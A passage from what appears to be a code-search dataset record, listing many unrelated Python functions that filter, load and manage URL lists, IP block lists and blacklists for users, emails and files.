Brands.objects.exclude(blacklisted=True).filter(query)\n\n brands = list(brands)\n log.info('Time passed to get brands: %s ' % (time.time() - t1))\n return brands","def load_urls(self, view_in_browser):\n config = self.get_github_config_path(self.CONFIG_URL)\n parser = configparser.RawConfigParser()\n with open(config) as config_file:\n try:\n parser.read_file(config_file)\n except AttributeError:\n parser.readfp(config_file)\n urls = parser.get(self.CONFIG_URL_SECTION,\n self.CONFIG_URL_LIST)\n urls = urls.strip()\n excludes = ['[', ']', \"'\"]\n for exclude in excludes:\n urls = urls.replace(exclude, '')\n if not view_in_browser:\n urls = urls.replace('https://github.com/', '')\n return urls.split(', ')","def block_list(to_block_list, blocked_ips_list):\n to_be_blocked_list = []\n for host in to_block_list:\n found_ip = False\n host_ip = host['host']['ip_address']\n for blocked in blocked_ips_list:\n if blocked['ip'] == host_ip:\n found_ip = True\n # if we want to block already blocked IP, nothing happens,\n # but if the host IP was not found in blocked IPs, block it\n if not found_ip:\n to_be_blocked_list.append(host_ip)\n return to_be_blocked_list","def __board_urls(self, *board_ids: str) -> List[str]:\n urls = []\n for board in self.__boards(*board_ids):\n urls.append(self.__url + '/b/' + board.id + '/' + board.title.lower().replace(' ', '-'))\n return urls if urls else [self.__url]","def whitelist_ips(self):\r\n if self.whitelist == '':\r\n return []\r\n return self.IPFilterList([addr.strip() for addr in self.whitelist.split(',')]) # pylint: disable=no-member\r","def produce_links_search(self, value_list:list) -> list:\n return [\n [self.produce_link_google(f) for f in value_list],\n [self.produce_link_qwant(f) for f in value_list],\n [self.produce_link_bing(f) for f in value_list],\n [self.produce_link_duckduckgo(f) for f in value_list],\n [self.produce_link_yahoo(f) for f in value_list]\n ]","def get_urls(self):\n return patterns('')","async def ban_users(request: Request, user_list: list[User]) -> ModBan:\n conn: Connection = request.state.db_conn\n users = [user.user_id for user in user_list]\n\n records = await conn.fetch(\"SELECT * FROM users WHERE user_id=any($1::bigint[])\", tuple(users))\n db_users = [record[\"user_id\"] for record in records]\n\n non_db_users = set(users) - set(db_users)\n\n async with conn.transaction():\n # Ref:\n # https://magicstack.github.io/asyncpg/current/faq.html#why-do-i-get-postgressyntaxerror-when-using-expression-in-1\n await conn.execute(\"UPDATE users SET is_banned=TRUE WHERE user_id=any($1::bigint[])\", db_users)\n await conn.execute(\"UPDATE pixel_history SET deleted=TRUE WHERE user_id=any($1::bigint[])\", db_users)\n\n await request.state.canvas.sync_cache(conn, skip_check=True)\n\n return ModBan(banned=db_users, not_found=list(non_db_users))","def _filter_return_url(self, url, har=None):\r\n if not har:\r\n har = self.har\r\n \r\n matches = []\r\n for entry in har[\"log\"][\"entries\"]:\r\n if url in entry[\"request\"][\"url\"]:\r\n temp = entry[\"request\"][\"url\"].encode('ascii', 'ignore')\r\n matches.append(temp)\r\n return matches","def blacklisted_file_patterns():\n with open(\"patterns.txt\", 'r') as f:\n lines = [line.strip() for line in f if line.strip()]\n return set(lines)","def attachment_type_blacklist(self, attachment_type_blacklist: ConfigNodePropertyArray):\n\n self._attachment_type_blacklist = attachment_type_blacklist","def filter_thumbnail_only(_list):\n result = list()\n for count, href in enumerate(_list):\n if count > 15:\n break\n if get_verified_response(get_thumbnail(href)).status == 200:\n result.append(href)\n return result","def generate_urls(min_nb_urls: int = 0, max_nb_urls: int = 100) -> typing.List[str]:\n nb_urls = random.randint(min_nb_urls, max_nb_urls)\n urls = [generate_url() for _ in range(min_nb_urls, nb_urls)]\n return urls","def get_urls(url, list_of_urls, main_url):\n if url in list_of_urls:\n return list_of_urls\n\n try:\n content = urlopen(url).read()\n soup = BeautifulSoup(content, \"html.parser\")\n list_of_urls.append(url)\n\n links = [urljoin(url, link.get('href')) for link in soup.find_all('a') if not urljoin(url,\n link.get('href')).endswith(EXTENSIONS)]\n for link in links:\n if link.startswith(main_url) and link not in list_of_urls:\n list_of_urls = get_urls(link, list_of_urls, main_url)\n\n except urllib.error.HTTPError or ValueError:\n pass\n\n return list_of_urls","def get_urls(self):\n urls = []\n params = ['<{}>'.format(x) for x in self.args]\n args_length = len(self.args) - len(self.defaults)\n for i in range(len(self.defaults) + 1):\n index = -i if i > args_length else None\n urls.append(self.get_url(params[:index]))\n return urls","def urlpatterns(self) -> list:\n raise NotImplementedError()","def _filter_blacklist(self, fields, blacklist):\r\n fields['children'] = [child for child in fields.get('children', []) if child not in blacklist]\r\n return fields","def URLs(self, default=[{}]):\n tmp = self.data.get('urls', default)\n return [HEP.URLObject(i) for i in tmp]","def test_remove_from_blacklist(self):\n\n self.feature_test.add_to_blacklist(3)\n self.feature_test.remove_from_blacklist(3)\n self.assertFalse(3 in Feature(\"testing\").blacklist)","async def get_blacklisted_users() -> list:\n async with aiosqlite.connect(DATABASE_PATH) as db:\n async with db.execute(\n \"SELECT user_id, strftime('%s', created_at) FROM blacklist\"\n ) as cursor:\n result = await cursor.fetchall()\n return result","def get_urls(argument_urls: Optional[str] = None) -> List[str]:\n if argument_urls:\n raw_urls = argument_urls\n elif 'amqp_url' in config:\n raw_urls = config['amqp_url']\n elif 'AMQP_SERVERS' in environ:\n raw_urls = environ['AMQP_SERVERS']\n else:\n raise ValueError('AMQP server url is not configured')\n\n return [process_url(url) for url in raw_urls.split(',')]","def negative_filtering(patterns: list, file_list):\n if len(patterns) == 0:\n return file_list\n prog = re.compile(patterns.pop())\n it = (i for i in file_list if not prog.search(i))\n return negative_filtering(patterns, it)"],"string":"[\n \"def handle_weblists(bot, ievent):\\n ievent.reply(\\\"whitelist: %s blacklist: %s\\\" % (cfg.get('whitelist'), \\\\\\ncfg.get('blacklist')))\",\n \"def find_target_urls(url_list):\\n candidate_urls = []\\n \\n #iterate through urls\\n for url in get_urls(get_clean_text(message_list)):\\n #skip any urls from our 33mail mask domain\\n if re.findall('33mail', url):\\n pass\\n #return everything else\\n else:\\n candidate_urls.append(url)\\n return candidate_urls\",\n \"def get_clean_urls(text_list, list_to_exclude=['twitter']):\\n ans_ls = []\\n for x in text_list:\\n rex = re.findall(\\n '(?:http:|https:)\\\\/\\\\/.*\\\\/.*?(?:\\\\.cms|\\\\.[a-zA-Z]*|\\\\/[a-zA-Z0-9-\\\\ ]+[a-zA-z0-9])', x[1])\\n for rx in rex:\\n if rx and not any(z in rx for z in\\n list_to_exclude) and not rx == 'http://' and not rx == 'https://' and not rx.endswith(\\n '.') and 't.c' not in rx:\\n if '\\\\xa0' in x[1]:\\n for y in x[1].split('\\\\xa0'):\\n # print(x[0],y)\\n ans_ls.append((x[0], y.replace(' ', '')))\\n elif '@' in x[1]:\\n ans_ls.append((x[0], y.split('@')[0].replace(' ', '')))\\n\\n else:\\n ans_ls.append((x[0], x[1].replace(' ', '')))\\n return (ans_ls)\",\n \"def blacklist_ips(self):\\r\\n if self.blacklist == '':\\r\\n return []\\r\\n return self.IPFilterList([addr.strip() for addr in self.blacklist.split(',')]) # pylint: disable=no-member\\r\",\n \"def filter_captured_urls(urls_files, url_list_file):\\n captured_urls = load_captured_urls(url_list_file)\\n \\n to_capture = list(filter(lambda d: d['url'] not in captured_urls, urls_files))\\n \\n return to_capture\",\n \"def validate_file_blacklist(blacklist):\\n valid_values = [\\n # 'checkpoint',\\n \\\"description\\\",\\n \\\"heartbeat\\\",\\n \\\"predictions_holdout\\\",\\n \\\"predictions_in_fold\\\",\\n \\\"predictions_oof\\\",\\n \\\"predictions_test\\\",\\n \\\"script_backup\\\",\\n \\\"tested_keys\\\",\\n \\\"current_heartbeat\\\",\\n ]\\n if blacklist == \\\"ALL\\\":\\n G.warn('WARNING: Received `blacklist`=\\\"ALL\\\". Nothing will be saved')\\n return blacklist\\n\\n if not blacklist:\\n return []\\n elif not isinstance(blacklist, list):\\n raise TypeError(\\\"Expected blacklist to be a list, not: {}\\\".format(blacklist))\\n elif not all([isinstance(_, str) for _ in blacklist]):\\n invalid_files = [(type(_).__name__, _) for _ in blacklist if not isinstance(_, str)]\\n raise TypeError(\\\"Expected blacklist contents to be strings, not: {}\\\".format(invalid_files))\\n\\n for a_file in blacklist:\\n if a_file not in valid_values:\\n raise ValueError(f\\\"Invalid blacklist value: {a_file}.\\\\nExpected one of: {valid_values}\\\")\\n if a_file in [\\\"description\\\", \\\"tested_keys\\\"]:\\n G.warn(f\\\"Including {a_file!r} in blacklist will severely impede library functionality\\\")\\n\\n # Blacklist experiment-specific heartbeat if general (current) heartbeat is blacklisted\\n if (\\\"current_heartbeat\\\" in blacklist) and (\\\"heartbeat\\\" not in blacklist):\\n blacklist.append(\\\"heartbeat\\\")\\n\\n return blacklist\",\n \"def get_urls(url_list='urls.blur'):\\n with open(os.path.join('..', 'data', url_list), 'r') as f:\\n urls = [tuple(line.split('\\\\t')) for line in f.read().split('\\\\n') \\n if line and line[0] != '#']\\n return urls\",\n \"def blacklist(self) -> List[str]:\\n return self.raw_config.get(\\\"blacklist\\\", [])\",\n \"def _filter_url_list(self, regex_pattern: str) -> None:\\n matcher = re.compile(regex_pattern)\\n filtered_list = []\\n if self.url_list:\\n for url in self.url_list:\\n if matcher.search(url.url):\\n filtered_list.append(url)\\n self.url_list = filtered_list\",\n \"def urls(self) -> list[str]:\\r\\n ...\",\n \"def is_blacklisted(self, url):\\n return urlparse.urlsplit(url).netloc in URLFinder.BLACKLIST_DOMAINS\",\n \"def getBlackList(filename):\\n #filename = \\\"filelist/blacklist_%s.txt\\\"%dataset.lstrip('/').replace('/','__')\\n blacklist = [ ]\\n if os.path.exists(filename):\\n with open(filename,'r') as file:\\n for line in file:\\n line = line.rstrip('\\\\n')\\n if line and '#' not in line:\\n blacklist.append(line)\\n return blacklist\",\n \"def ignore_listings(name_key):\\n # for blacklist_str in models_blacklist:\\n # if blacklist_str in name_key:\\n # return True\\n return False\",\n \"def remove_urls(lista_tweets):\\n\\n novos_tweets = []\\n\\n for tweet in lista_tweets:\\n texto = re.sub(r\\\"http\\\\S+\\\", \\\"\\\", tweet[\\\"text\\\"])\\n novos_tweets.append(texto)\\n\\n return novos_tweets\",\n \"def short_whitelist(whitelist):\\n for x in [\\\"guid-4\\\", \\\"guid-5\\\"]:\\n whitelist.remove(x)\\n return whitelist\",\n \"def remove_blacklisted(blacklist, ssc, output_dir):\\n print('[INFO] Writing blacklisted corpus to {}...'.format(output_dir))\\n # assuming there is only 1 SSC, so take index 0\\n ssc_filepaths = list(get_filepaths(ssc))[0]\\n # for faster lookup\\n blacklist = set(blacklist)\\n for filepath in ssc_filepaths:\\n with open(filepath, 'r') as f:\\n # remove blacklisted entities\\n lines = f.readlines()\\n for i in range(1, len(lines) - 1):\\n previous_tag = 'O' if lines[i-1] == '\\\\n' else lines[i-1].strip().split('\\\\t')[1]\\n next_tag = 'O' if lines[i+1] == '\\\\n' else lines[i+1].strip().split('\\\\t')[1]\\n single_token_entity = (previous_tag != 'I-' and next_tag != 'I-')\\n blacklisted = tuple(lines[i].strip().split('\\\\t')) in blacklist\\n if single_token_entity and blacklisted:\\n lines[i] = '{}\\\\tO\\\\n'.format(lines[i].split('\\\\t')[0])\\n # write blacklisted copy to disk\\n corpus_name = os.path.basename(ssc) + '_blacklisted'\\n output_directory = os.path.join(output_dir, corpus_name)\\n make_dir(output_directory)\\n output_filepath = os.path.join(output_directory, os.path.basename(filepath))\\n with open(output_filepath, 'w') as f:\\n for line in lines:\\n f.write(line)\",\n \"def set_blacklist(self):\\n\\n for name in self.__ipset:\\n if self.verbose:\\n print(\\\"Start create: \\\" + self.__ipset[name]['ipset-name'])\\n\\n # create ipset\\n self.__process(name, self.__parser.create(name))\\n\\n if self.verbose:\\n print('Done')\",\n \"def filter_watch_only(_list):\\n result = list()\\n pattern = compile('^(https?\\\\:\\\\/\\\\/)?((www\\\\.)?youtube\\\\.com|youtu\\\\.?be)\\\\/watch.+$')\\n for href in _list:\\n if href == 'https://www.youtube.com/watch?v=4wb1RfnnqdY': # Hard code remove naked cooking\\n continue\\n if type(href) is str and pattern.match(href):\\n result.append(href)\\n return result\",\n \"def _filter_return_url_from_list(self, paths, har=None):\\r\\n if not har:\\r\\n har = self.har\\r\\n \\r\\n matches = []\\r\\n for entry in har[\\\"log\\\"][\\\"entries\\\"]:\\r\\n for path in paths:\\r\\n if path in entry[\\\"request\\\"][\\\"url\\\"]:\\r\\n temp = entry[\\\"request\\\"][\\\"url\\\"].encode('ascii', 'ignore')\\r\\n matches.append(temp)\\r\\n return matches\",\n \"def get_urls():\\r\\n return []\",\n \"def blacklistSource(self, source):\\n log.info(\\\"blacklisting \\\" + source)\\n if source not in GameConsole.blacklistedSources:\\n GameConsole.blacklistedSources.append(source)\",\n \"def blacklist_file(self, fkey):\\n self.blacklist.update([fkey])\",\n \"def build_end_url_list(url):\\n http_types = [\\\"http://\\\", \\\"https://\\\"]\\n dub_types = [\\\"www.\\\", \\\"\\\"] # this order needs to preserved for testing at www.hgdatascience.com\\n http_dub_urls = [\\\"{}{}{}\\\".format(h_type, dub_type, url) for dub_type in dub_types for h_type in http_types]\\n return http_dub_urls\",\n \"def get_urls(path):\\n urls = []\\n with open(path, 'rb') as f:\\n urls = [x.strip() for x in f.readlines()]\\n\\n # Prune urls that are not working\\n goodUrls = []\\n badUrls = []\\n for url in urls:\\n if prescreenUrl(url):\\n print \\\"PASS prescreen: \\\" + str(url)\\n goodUrls.append(url)\\n else:\\n print \\\"FAIL prescreen: \\\" + str(url)\\n badUrls.append(url)\\n\\n with open('bad_urls', 'wb') as f:\\n f.write('\\\\n'.join(badUrls))\\n f.close()\\n\\n with open(path, 'wb') as f:\\n f.write('\\\\n'.join(goodUrls))\\n f.close()\\n\\n return goodUrls\",\n \"def test_blacklist(self):\\n ts = self.ts_db\\n fc1 = self.field_change1\\n fc2 = self.field_change2\\n fc3 = self.field_change3\\n fc4 = self.field_change4\\n\\n valid = blacklist.filter_by_benchmark_name(ts, fc1)\\n self.assertTrue(valid, \\\"Expect this to not be filtered.\\\")\\n valid = blacklist.filter_by_benchmark_name(ts, fc2)\\n self.assertTrue(valid, \\\"Expect this to not be filtered.\\\")\\n bad = blacklist.filter_by_benchmark_name(ts, fc3)\\n self.assertFalse(bad, \\\"Expect this to be filtered by regex.\\\")\\n bad = blacklist.filter_by_benchmark_name(ts, fc4)\\n self.assertFalse(bad, \\\"Expect this to be filtered by blacklist.\\\")\",\n \"def _parse_blacklist(path):\\n if path is None:\\n return []\\n with open(path, 'rt') as f:\\n return [line.strip() for line in f]\",\n \"def import_urls(self, url_list, target_id=None):\\n imported_urls = []\\n for url in url_list:\\n if self.is_url(url):\\n imported_urls.append(url)\\n self.db.session.merge(models.Url(url=url, target_id=target_id))\\n self.db.session.commit()\\n return imported_urls # Return imported urls\",\n \"def build_blacklist(blacklists):\\n\\n if blacklists is None:\\n xbt = pbt.BedTool('', from_string=True)\\n\\n else:\\n xlist = [x for s in blacklists for x in s]\\n n_bl = len(xlist)\\n if n_bl == 0:\\n xbt = pbt.BedTool()\\n elif n_bl == 1:\\n xbt = pbt.BedTool(xlist[0])\\n else:\\n xbt = pbt.BedTool(xlist[0]).\\\\\\n cat(*[pbt.BedTool(bl) for bl in xlist[1:]])\\n\\n xbt = xbt.sort().merge().saveas()\\n\\n return xbt\",\n \"def remove_blacklist(remit, source, commands):\\n blacklisted_commands = list()\\n for config in spec.BLACKLIST:\\n command = make_command(remit=remit,\\n source=source,\\n writer=config['writer'],\\n pandoc_options=config['pandoc_options'],\\n extension=config['extension'])\\n blacklisted_commands.append(command)\\n commands = [command for command in commands\\n if command not in blacklisted_commands]\\n return commands\",\n \"def open_blacklist(filepath):\\n with open(filepath, 'r') as f:\\n blacklist = [tuple(line.strip().split('\\\\t')) for line in f.readlines()]\\n return blacklist\",\n \"def save_blacklist(blacklist, output_dir):\\n output_filepath = os.path.join(output_dir, 'blacklist.txt')\\n print('[INFO] Writing blacklist to {}...'.format(output_filepath))\\n with open(output_filepath, 'w') as f:\\n for ent in blacklist:\\n f.write('{}\\\\t{}\\\\n'.format(ent[0], ent[1]))\",\n \"def extract_book_patterns(pattern_urls, practical_group, book_nr):\\n return list(filter(lambda url: f\\\"{practical_group}_{book_nr}\\\" in url, pattern_urls))\",\n \"def url_decode(self, url_list: list) -> dict:\\n data = {\\\"urls\\\": url_list}\\n return self.http_request(\\\"POST\\\", '/url/decode', data=data)\",\n \"def codeup_blog_urls():\\n \\n url1 = 'https://codeup.com/codeup-news/codeup-launches-first-podcast-hire-tech/' \\n\\n url2 ='https://codeup.com/tips-for-prospective-students/why-should-i-become-a-system-administrator/'\\n \\n url3 ='https://codeup.com/codeup-news/codeup-candidate-for-accreditation/'\\n \\n url4 ='https://codeup.com/codeup-news/codeup-takes-over-more-of-the-historic-vogue-building/'\\n \\n url5 ='https://codeup.com/codeup-news/inclusion-at-codeup-during-pride-month-and-always/'\\n \\n return [url1, url2, url3, url4, url5]\",\n \"def getURLs():\",\n \"def handle_webdefaultdeny(bot, ievent):\\n cfg.set('whitelistenable', 1)\\n ievent.reply('ok')\",\n \"def filter_blacklisted_recipients(addresses):\\n if type(addresses) is str:\\n addr = parseaddr(addresses)[1]\\n if not BlacklistedEmail.objects.filter(email=addr).exists():\\n return addresses\\n return []\\n if type(addresses) is list:\\n filtered_addresses = []\\n for recipient in addresses:\\n addr = parseaddr(recipient)[1]\\n logger.debug(f\\\"Address in check for blacklist: {addr}\\\")\\n if BlacklistedEmail.objects.filter(email=addr).exists():\\n continue\\n filtered_addresses.append(recipient)\\n return filtered_addresses\",\n \"def _filter_duplicate_urls(urls: list) -> set:\\n clean_urls = set()\\n for url in urls:\\n cleaned_url = url.split(\\\"&sa=U\\\")[0]\\n clean_urls.add(cleaned_url)\\n return clean_urls\",\n \"def unblock_list(blocked_ips_list, to_block_list):\\n to_be_unblocked_list = []\\n for blocked in blocked_ips_list:\\n found_ip = False\\n blocked_ip = blocked['ip']\\n for host in to_block_list:\\n if host['host']['ip_address'] == blocked_ip:\\n found_ip = True\\n # if the blocked_ip was not found in list of blockings, unblock it\\n if not found_ip:\\n to_be_unblocked_list.append(blocked_ip)\\n return to_be_unblocked_list\",\n \"def blacklist_remove():\\n db = unitdata.kv()\\n blacklist = db.get(BLACKLIST_KEY, [])\\n for device in get_devices():\\n try:\\n blacklist.remove(device)\\n except ValueError:\\n raise Error('{}: Device not in blacklist.'.format(device))\\n db.set(BLACKLIST_KEY, blacklist)\\n db.flush()\",\n \"def _get_blacklist(self):\\n blacklist = {}\\n for b in TransifexBlacklist.objects.filter(domain=self.app.domain, app_id=self.app.id).all():\\n blacklist.setdefault(b.domain, {})\\n blacklist[b.domain].setdefault(b.app_id, {})\\n blacklist[b.domain][b.app_id].setdefault(b.module_id, {})\\n blacklist[b.domain][b.app_id][b.module_id].setdefault(b.field_type, {})\\n blacklist[b.domain][b.app_id][b.module_id][b.field_type].setdefault(b.field_name, {})\\n blacklist[b.domain][b.app_id][b.module_id][b.field_type][b.field_name][b.display_text] = True\\n return blacklist\",\n \"def find_urls(r):\\n http_match = re.findall(r'https:\\\\/\\\\/[\\\\w\\\\/?=.-]+', r)\\n url_list = []\\n if http_match:\\n for match in http_match:\\n if match not in url_list:\\n url_list.append(match)\\n return url_list\",\n \"def matchWildcardUrls(url, listOfUrls):\\n if not url or not listOfUrls:\\n return None\\n pattern = re.compile('^[a-zA-Z][+a-zA-Z0-9.-]*:.*')\\n if not pattern.search(str(url)) and not url.startswith('//'):\\n url = '//' + url\\n cspUrl = urlparse(str(url)) \\n host = cspUrl.netloc.lower() or \\\"\\\"\\n hostHasWildcard = host.startswith(\\\"*.\\\")\\n wildcardFreeHost = re.sub(\\\"^\\\\*\\\", \\\"\\\", host, flags=re.IGNORECASE)\\n path = cspUrl.path or ''\\n hasPath = len(cspUrl.path) > 0 \\n\\n for url2 in listOfUrls:\\n url = urlparse(str(url2))\\n domain = url.netloc.lower() or \\\"\\\"\\n domainHasWildCard = domain.startswith(\\\"*.\\\")\\n if (not domainHasWildCard):\\n if (not domain.endswith(wildcardFreeHost) ): \\n continue\\n if (not hostHasWildcard and host != domain):\\n continue\\n else:\\n domainparts = list(reversed(domain.split('.')))\\n hostparts = list(reversed(host.split('.')))\\n stop = False\\n domainlen = len(domain.split('.'))\\n hostlen = len(host.split('.'))\\n \\n for idx, domainpart in enumerate(domainparts):\\n if idx < hostlen:\\n hostpart = hostparts[idx]\\n if hostpart != domainpart and (domainpart != '*' and hostpart != '*'):\\n stop = True\\n if stop:\\n continue\\n if (hasPath):\\n if (path.endswith('/')): \\n if (not url.path.startswith(path)):\\n continue\\n elif (url.path != path):\\n continue\\n\\n return url\\n\\n return None\",\n \"def remove_unreachable_urls(list_of_urls):\\n list_of_reachable_url = []\\n for url in list_of_urls:\\n try:\\n f = requests.get(url)\\n print('\\\\t',url, 'status_code:', f.status_code)\\n list_of_reachable_url.append(url)\\n except:\\n print('\\\\t',url, 'not reachable -- > removed')\\n\\n return list_of_reachable_url\",\n \"def blacklist_add():\\n db = unitdata.kv()\\n blacklist = db.get(BLACKLIST_KEY, [])\\n for device in get_devices():\\n if not os.path.exists(device):\\n raise Error('{}: No such file or directory.'.format(device))\\n if device not in blacklist:\\n blacklist.append(device)\\n db.set(BLACKLIST_KEY, blacklist)\\n db.flush()\",\n \"def get_urls(inputfiles):\\n urls = []\\n scheme_rgx = re.compile(r'^https?://')\\n for ifile in inputfiles:\\n urls.append(ifile.read().splitlines())\\n urls = set([n for l in urls for n in l])\\n urls = list(filter(None, urls))\\n for i in range(len(urls)):\\n if not scheme_rgx.match(urls[i]):\\n urls[i] = 'http://' + urls[i]\\n return urls\",\n \"def filter_out_bans(mappings, bans):\\n new_mappings = []\\n for mapping in mappings:\\n for ban in bans:\\n if fnmatch.fnmatch(mapping.pattern, ban):\\n break\\n else:\\n new_mappings.append(mapping)\\n return new_mappings\",\n \"def mergeURLS(inputs):\\n urls = set()\\n for i in inputs:\\n # Re-raise any exceptions\\n try:\\n urls = urls.union(i.urls())\\n except:\\n raise\\n return urls\",\n \"def is_blacklisted(self):\\r\\n \\r\\n in_blacklist = False \\r\\n if self.chrompos in parser.blacklist:\\r\\n in_blacklist = True\\r\\n \\r\\n return in_blacklist\",\n \"def load_url_list(url_list_file):\\n url_list = []\\n with open(url_list_file, 'r') as f:\\n for eachline in f:\\n eachline = eachline.rstrip('\\\\n')\\n parts = eachline.split('\\\\t')\\n domain, script_url = parts\\n url_list.append((domain, script_url))\\n\\n return url_list\",\n \"def list_blacklist_by_type(event, context):\\n blacklist_type = str(event['pathParameters']['id'])\\n\\n table = dynamodb.Table(os.environ['BLACKLIST_TABLE'])\\n result = table.scan(\\n FilterExpression=Attr('type').eq(blacklist_type)\\n )\\n error_type = None\\n error_msg = \\\"\\\"\\n response = {\\n 'statusCode': 200,\\n 'body': json.dumps({\\n 'items': [r['text_pattern'] for r in result['Items']],\\n 'num_items': len(result['Items']),\\n 'message': error_msg,\\n 'error_type': error_type\\n })\\n }\\n log.debug(response)\\n\\n return response\",\n \"def removeurl(wordlist):\\n newlist=[]\\n for w in wordlist:\\n phrases=str(w[0]).split()\\n for phrase in phrases:\\n if(phrase.startswith('http') is True):\\n phrase=\\\"\\\"\\n newlist.append((phrases,w[1])) \\n return newlist\",\n \"def remove(self, urls):\\n path = \\\"authSettings/exemptedUrls?action=REMOVE_FROM_LIST\\\"\\n return self._session.post(path, urls)\",\n \"def __clean_url(links_titles):\\n clean_urls = []\\n for url, title, flag in links_titles:\\n duplicates_words = []\\n unique_words = []\\n for word in str(url).rstrip('/').split('/'):\\n if word not in unique_words:\\n unique_words.append(word)\\n else:\\n if word not in duplicates_words:\\n duplicates_words.append(word)\\n url = str(url).replace(word+'/', '', 1)\\n clean_urls.append((url, title, flag))\\n return clean_urls\",\n \"def read_blacklist(self, _blacklist_fname):\\n try:\\n blacklist_f = codecs.open(_blacklist_fname, mode='r', encoding='utf-8')\\n line_idx = 0\\n for fline in blacklist_f:\\n line_idx = line_idx + 1\\n line = fline.strip()\\n if ((len(line) > 0) and (line[0] != '#')):\\n # non null and not started # line ... add to the set\\n if (line in self.__black_list_set):\\n print u'duplication found [' + line + u'] at ' + str(line_idx) + \\\\\\n u' ignored'\\n else:\\n self.__black_list_set.add(line)\\n\\n print u'read blacklist_file [' + _blacklist_fname + \\\\\\n u'], number of entries: ' + str(len(self.__black_list_set))\\n except IOError as e:\\n print \\\"I/O error({0}): {1}\\\".format(e.errno, e.strerror)\\n print \\\"Can not open a blacklist file {0}\\\".format(_blacklist_fname)\\n print \\\"Please create blacklist file (an empty file is also fine.)\\\"\\n sys.exit(1)\\n except:\\n print \\\"Unexpected error:\\\", sys.exc_info()[0]\\n raise\",\n \"def _urls(*, repository, commit, mirrors):\\n result_with_nulls = [\\n _format_url(\\n pattern = x,\\n repository = repository,\\n commit = commit,\\n )\\n for x in mirrors.get(\\\"github\\\")\\n ]\\n return [\\n url\\n for url in result_with_nulls\\n if url != None\\n ]\",\n \"def sanitize_urls(self, urls):\\n\\n absolute_and_relative = [item for item in urls if item.startswith('http') or item.startswith(r'/')]\\n clean_links = []\\n\\n # Make relative urls absolute\\n for item in absolute_and_relative:\\n if item.startswith(r'/'):\\n item = urljoin(self.site_url, item)\\n clean_links.append(item)\\n\\n else:\\n clean_links.append(item)\\n\\n clean_links = [link for link in clean_links if 'localhost' not in urlparse(item).hostname]\\n return clean_links\",\n \"def test_url_pattern(self):\\n\\t\\turl = URLFilter()\\n\\t\\turl.set_limit(\\\"goog*\\\")\\n\\t\\tself.assertTrue(url.check(Object(get_urls=lambda: ['google.com'])))\",\n \"def get_federation_iprange_blacklist(self):\\n blacklist = self.charm_config[\\\"federation-ip-range-blacklist\\\"]\\n return list(filter(None, blacklist.split(\\\",\\\")))\",\n \"def inshorts_urls():\\n\\n url1 = 'https://inshorts.com/en/read/business'\\n url2 = 'https://inshorts.com/en/read/sports'\\n url3 = 'https://inshorts.com/en/read/technology'\\n url4 = 'https://inshorts.com/en/read/entertainment'\\n return [url1, url2, url3, url4]\",\n \"def create_url_rules(self):\\n return []\",\n \"def get_url():\\n urls = re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\\\(\\\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+',\\n new_tweet)\\n return urls\",\n \"def site_patterns(*args):\\n pattern_list = args\\n return [SiteRegexURLResolver('', pattern_list)]\",\n \"def blacklist_token(token):\\n\\n refresh_token = RefreshToken(token)\\n refresh_token.blacklist()\",\n \"def clean(self, urls: List[str]) -> List[str]:\\n subdomains = []\\n regexp = re.compile(r'(.+://)?(?P<subdomain>(.+)\\\\.{domain})([/?].*)?'.format(domain=self.domain))\\n for url in urls:\\n match = regexp.match(url)\\n if match and match.group('subdomain'):\\n subdomains.append(match.group('subdomain'))\\n return subdomains\",\n \"def getUrls(url):\\n f = requests.get(url)\\n p = MyParser()\\n p.feed(f.text)\\n list_of_urls = p.output_list\\n #deal with possible strange None values\\n list_of_urls = [url for url in list_of_urls if url is not None]\\n for url in list_of_urls:\\n if 'http' not in url: list_of_urls.remove(url)\\n return list_of_urls\",\n \"def test_remove_from_blacklist_with_string(self):\\n email = 'example@example.com'\\n self.feature_test.add_to_blacklist(email)\\n self.feature_test.remove_from_blacklist(email)\\n self.assertFalse(email in Feature(\\\"testing\\\").blacklist)\",\n \"def clean_urls(self, tweet):\\n self.urls = re.findall(self.regexpForURLs, tweet)\\n\\n for url in self.urls:\\n tweet = tweet.replace(url, '')\\n\\n tweet = self.clean_unnecessary_whitespaces(tweet)\\n return tweet\",\n \"async def add_blacklist(self, ctx, user: discord.Member):\\r\\n if user.id not in self.settings['blacklist']:\\r\\n try:\\r\\n self.settings['blacklist'].append(user.id)\\r\\n await ctx.send(\\\"User blacklisted.\\\")\\r\\n except:\\r\\n await ctx.send(\\\"An error occured.\\\")\\r\\n else:\\r\\n await ctx.send(\\\"User already blacklisted.\\\")\",\n \"def prepare_blacklist(src, dst, duration=3600):\\n \\n json = {}\\n end_point1 = {'name': '', 'address_mode': 'address',\\n 'ip_network': src}\\n end_point2 = {'name': '', 'address_mode': 'address',\\n 'ip_network': dst}\\n json.update(duration=duration)\\n json.update(end_point1=end_point1)\\n json.update(end_point2=end_point2)\\n return json\",\n \"def ban_all():\\n sudo(\\\"varnishadm 'ban req.url ~ .'\\\")\",\n \"def load_captured_urls(url_list):\\n if gs.local:\\n result = load_captured_urls_local(url_list)\\n else:\\n result = load_captured_urls_aws(url_list)\\n return result\",\n \"def load_blocked_groups(self):\\n print(\\\" ->[*] Loading group blacklist...\\\")\\n blacklist = set()\\n if os.access(\\\"blocked_groups\\\", os.F_OK):\\n with codecs.open(\\\"blocked_groups\\\", \\\"r\\\", encoding=\\\"utf-8\\\") as groups:\\n blocked_groups = groups.readlines()\\n for group in blocked_groups:\\n blacklist.add(group)\\n return blacklist\",\n \"def ReadBlackListFile(BlackListFile):\\n blacklist = []\\n if os.path.isfile(BlackListFile):\\n with open(BlackListFile, 'r') as filecontent:\\n for line in filecontent:\\n #(chrom1, start1, chrom2, start2) = line.rstrip().split(\\\"\\\\t\\\")\\n blacklist.append(line)\\n return(blacklist)\",\n \"def filter_substitution_image_links(links):\\n return [link for link in links if '{' not in link]\",\n \"def not_blacklisted_channel(blacklist):\\n async def predicate(ctx):\\n channel = ctx.message.channel\\n server = bot.get_guild(SERVER_ID)\\n for c in blacklist:\\n if channel == discord.utils.get(server.text_channels, name=c):\\n raise CommandNotAllowedInChannel(channel, \\\"Command was invoked in a blacklisted channel.\\\")\\n return True\\n \\n return commands.check(predicate)\",\n \"def remove_urls(text):\\n pass\",\n \"def parse_url_files():\\n a_copy = PY_FILES[::]\\n for f in a_copy:\\n if 'urls' in f:\\n URL_FILES.append(f)\\n PY_FILES.remove(f)\",\n \"def extract_brand_names(brand_name_urls):\\n from 